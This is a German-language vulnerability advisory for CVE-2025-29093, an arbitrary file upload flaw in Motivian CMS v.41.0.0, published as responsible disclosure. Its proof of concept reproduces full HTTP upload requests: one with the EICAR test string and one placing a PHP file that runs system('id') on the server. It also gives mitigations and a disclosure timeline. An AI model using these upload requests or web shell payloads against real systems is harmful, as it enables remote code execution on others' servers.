CVE-2025-29093-Beliebiger-Datei-Upload

Dieses Repository legt eine Sicherheitslücke offen, die im Motivian Content Management System v.41.0.0 entdeckt wurde.

• CVE-2025-29093: Beliebiger Datei-Upload

Diese Schwachstelle wurde in Übereinstimmung mit den Praktiken der verantwortungsvollen Offenlegung an den Anbieter und an MITRE gemeldet, welches eine temporäre CVE-ID zugewiesen hat. Die Details werden nach Ablauf der 45-tägigen Offenlegungsfrist veröffentlicht.

Allgemeine Informationen

• Titel: Motivian Beliebiger Datei-Upload
• Schwachstellentyp: Beliebiger Datei-Upload
• Anbieter des Produkts: Motivian
• Produkt: Motivian Content Management System
• Betroffene Version: Motivian CMS v.41.0.0
• Betroffene Komponente: Content/Gallery/Images
• Angriffsvektor: Remote
• Auswirkungen: Bösartiger beliebiger Datei-Upload
• Schweregrad: Mittel
• CVSSv3-Score: 6.5
• CVSSv3-Vektor: CVSS:3.1:AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
• Schweregrad nach CISA-ADP: Hoch
• CVSSv3-Score nach CISA-ADP: 8.2
• CVSSv3-Vektor nach CISA-ADP: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
• Gefunden: 2025-02-03
• Von: Francesco Marcuccio
• Status: Am 7. April 2025 an den Anbieter gemeldet – Keine Antwort/Korrektur bis zum 22. Mai 2025 erhalten

Beschreibung

Eine Datei-Upload-Schwachstelle im Motivian Content Management System v.41.0.0 ermöglicht es einem entfernten Angreifer, beliebige Dateien mit manipulierten Erweiterungen (z. B. .php, .png, .txt) mit schädlichem Code über die Komponente Content/Gallery/Images hochzuladen.

Proof of Concept

Die Schwachstelle kann durch das Hochladen von Dateien mit verschiedenen Erweiterungen ausgenutzt werden. Zu Demonstrationszwecken wurden zwei Proof-of-Concept-Fälle verwendet: einer mit einer .php-Datei mit schädlichem Code und ein weiterer mit einer .txt-Datei mit dem EICAR-Teststring. Beide Dateien wurden über die Komponente Content/Gallery/Images hochgeladen.

Nachfolgend das vollständige Transkript der HTTP-Anfragen und -Antworten, die zur Demonstration des Problems verwendet wurden:

Burp-Anfrage EICAR

POST /portal/admin/cms/browseManageCmsResources!uploadFile.action HTTP/1.1
Host: [REDACTED]
Content-Length: 808
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2oYL3KVZBlAQmYAA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close

------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="resFolderId"

-8
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="allowedExtensions"


------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="hidePageComponents"

false
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="struts.token.name"

token
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="token"

M53N7SE0QE1Z4MZV4BRV59QW3TSEZ962
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="uploadResource"; filename="eicar.txt"
Content-Type: text/plain

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
------WebKitFormBoundary2oYL3KVZBlAQmYAA--

Burp-Anfrage PHP

POST /portal/admin/cms/browseManageCmsResources!uploadFile.action HTTP/1.1
Host: [REDACTED]
Content-Length: 789
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLdWSMj4ASbAC9uOz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close

------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="resFolderId"

304802
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="allowedExtensions"


------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="hidePageComponents"

false
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="struts.token.name"

token
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="token"

77PMJUJH5ZAQTPWRG5TQCLIOR9CUBK0M
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="uploadResource"; filename="test.php5"
Content-Type: application/octet-stream

<?php 
echo system('id'); 
?>
------WebKitFormBoundaryLdWSMj4ASbAC9uOz--

Burp-Antwort

HTTP/1.1 200 OK
Connection: close
Date: Thu, 06 Feb 2025 10:26:29 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: it-IT
Content-Length: 16729

Gegenmaßnahmen

Erlauben Sie Benutzern nicht, beliebige Dateien hochzuladen. Implementieren Sie eine strenge Dateiprüfung (MIME-Typ- und Inhaltsinspektion), randomisieren Sie Dateinamen und schränken Sie Upload-Verzeichnisse ein.

Offenlegungszeitplan

Datum	Aktion
2025-02-06	CVE-ID-Anfrage (CNA: MITRE)
2025-04-02	Zuweisung der CVE-ID
2025-04-07	Schwachstellen an Anbieter gemeldet
2025-05-31	Öffentliche Offenlegung nach Ablauf der 45-tägigen Offenlegungsfrist (54 Tage gesamt)
2025-06-04	Offizielle Registrierung und Eintrag in der MITRE-Datenbank und im NIST/NVD-Portal

Danksagung

• Entdeckt und verantwortungsvoll offengelegt von:
  Francesco Marcuccio
  Consultant für Cybersicherheit, Penetration Tester

• MITRE-Entdeckerzuweisung aufgeführt als:
  Francesco Marcuccio
  Consultant für Cybersicherheit, Penetration Tester

Links

Referenzlinks: MITRE NIST

Status

Diese CVE-ID ist offiziell im Status VERÖFFENTLICHT. Sie wird nach der Analyse durch NIST mit einem CVSS-Score aktualisiert.